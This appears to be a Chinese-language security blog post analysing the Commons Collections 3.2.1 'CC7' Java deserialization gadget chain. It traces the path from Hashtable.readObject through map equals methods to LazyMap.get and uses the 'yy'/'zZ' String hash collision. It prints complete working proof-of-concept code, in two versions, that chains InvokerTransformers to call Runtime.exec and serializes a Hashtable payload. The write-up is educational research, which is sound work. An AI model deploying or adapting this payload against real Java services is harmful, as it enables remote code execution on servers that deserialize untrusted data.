分析版本
Commons Collections 3.2.1
JDK 8u65
環境配置參考JAVA安全初探(三):CC1鏈全分析
分析過程
CC7,6,5都是在CC1 LazyMap利用鏈(引用)的基礎上。
只是進入到LazyMap鏈的入口鏈不同。
CC7這個鏈有點繞,下面順著分析一下利用鏈。
入口類是Hashtable,看下它的readObject函數。
調用了reconstitutionPut方法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException
{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size. Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}
}
首先要知道,HashTable是數組+鏈表的形式,鏈表是用來處理哈希沖突的。
代碼分析放在注釋中
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException
{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length; //首先求key的哈希值for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { //for循環是判斷,key哈希值對應的鏈表中有沒有key相同的鍵值對,如果有則拋出異常(鍵不能相同)if ((e.hash == hash) && e.key.equals(key)) { //根據運算符規則,我們想執行&&的第二項e.key.equals(key)就要保證第一項(e.hash == hash)為真(關于哈希碰撞的尋找,下面講)throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;
}
調用從e.key.equals(key)開始,我們可以控制兩個key的傳值。(下文中e.key用key1代替,(key)用key2代替)
首先e.key.equals,我們控制key1的類型是LazyMap,就成了調用LazyMap.equals()。而LazyMap類中沒有實現equals方法,就調用到了它父類AbstractMapDecorator的equals。
public boolean equals(Object object) { //參數參入的是key2if (object == this) {return true;}return map.equals(object); //這里的map注意是,key1(LazyMap的key) 作者在這里是把LazyMap的key設置為HashMap類型, 具體原因下面分析
}
下面走到了HashMap.equals(key2) ,這里又由于HashMap中沒有equals方法,成了調用其父類AbstractMap的equals方法。
public boolean equals(Object o) { //參數傳入是key2if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o; //key2賦值給mif (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key))) return false;} else {if (!value.equals(m.get(key))) //m是key2調用key2的get方法,也就是找到了調用LazyMap.get()的地方,我們把key2賦個LazyMap類型就好了, key是key1return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;
}
到這里調用到了LazyMap.get方法,利用鏈完成。
我們傳入兩個LazyMap,保證兩個LazyMap.hashCode相等,也就是LazyMap.key.hashCode的值相等,找哈希碰撞。
下面看下哈希碰撞,作者找到的是String類的碰撞
public int hashCode() { //String類的hashCode方法int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;
}
" y y " . h a s h C o d e ( ) = 31 ? A S C I I ( y ) + 1 ? A S C I I ( y ) = 31 ? 121 + 1 ? 121 = 3872 "yy".hashCode()=31*ASCII(y) + 1*ASCII(y) = 31*121+1*121=3872 "yy".hashCode()=31?ASCII(y)+1?ASCII(y)=31?121+1?121=3872
和"zZ"求出來的值是一樣的,哈希碰撞我們就找到了。
我們把"yy"和"zZ",put進LazyMap的key中就好了。
之后寫Poc
public class cc7 {//Hashtable//Map map = new HashMap<>;public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap1 = new HashMap<>();HashMap<Object, Object> hashMap2 = new HashMap<>();Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);map1.put("yy", 1); 寫入hashMap1Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);map2.put("zZ", 1);Hashtable<Object, Object> hashtable = new Hashtable<>();hashtable.put(map1, 1);hashtable.put(map2, 1);//cc1_poc.serialize(hashtable);cc1_poc.unserialize("s.ser");}
}
我們發現反序列化時不能彈計算器,debug看一下,第二個key傳進來的size是2,導致hashCode計算為7730
傳進來size是2是因為,在hashtable.put(map2, 1);
時,觸發了利用鏈(put方法也會檢查鍵值對,觸發利用鏈),調用了LazyMap的get方法(觸發了計算器),還執行了map2.put(“yy”, 1)。解決map2.put問題,在序列化之前我們反射調用map2的remove方法,把"yy"刪除。
最終Poc
public class cc7 {//Hashtable//Map map = new HashMap<>;public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap1 = new HashMap<>();HashMap<Object, Object> hashMap2 = new HashMap<>();Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);map1.put("yy", 1); 寫入hashMap1Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);map2.put("zZ", 1);Hashtable<Object, Object> hashtable = new Hashtable<>();hashtable.put(map1, 1);hashtable.put(map2, 1);//反射Method remove = map2.getClass().getDeclaredMethod("remove", Object.class);remove.setAccessible(true);remove.invoke(map2,"yy");cc1_poc.serialize(hashtable);cc1_poc.unserialize("s.ser");}
}
這樣在序列化時也會觸發計算器